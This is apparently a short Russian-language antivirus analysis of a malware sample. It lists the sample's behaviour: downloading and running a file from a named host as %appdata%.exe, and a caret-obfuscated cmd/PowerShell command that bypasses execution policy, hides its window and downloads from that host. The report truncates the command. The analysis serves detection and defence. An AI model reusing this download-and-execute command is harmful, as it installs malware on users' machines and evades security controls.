Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://dpolly-dolly.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOw^ersheL^l^.^E^X^E ^-EX^ecu^tioN^pO^Lic^Y^ BY^paSS^ -N^OP^rOFiL^E -win^d^ow^st^y^LE^ hIddEn ^(n^EW^-O^bj^e^c^T ^sY^s^t^E^m.N^ET.weBCL^IENt).^dowN^lOa^dFI^Le^(^'http://dpolly-dol...
Сетевая активность
UDP
- DNS ASK dp####-dolly.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOw^ersheL^l^.^E^X^E ^-EX^ecu^tioN^pO^Lic^Y^ BY^paSS^ -N^OP^rOFiL^E -win^d^ow^st^y^LE^ hIddEn ^(n^EW^-O^bj^e^c^T ^sY^s^t^E^m.N^ET.weBCL^IENt).^dowN^lOa^dFI^Le^(^'http://dpolly-dol...' (со скрытым окном)
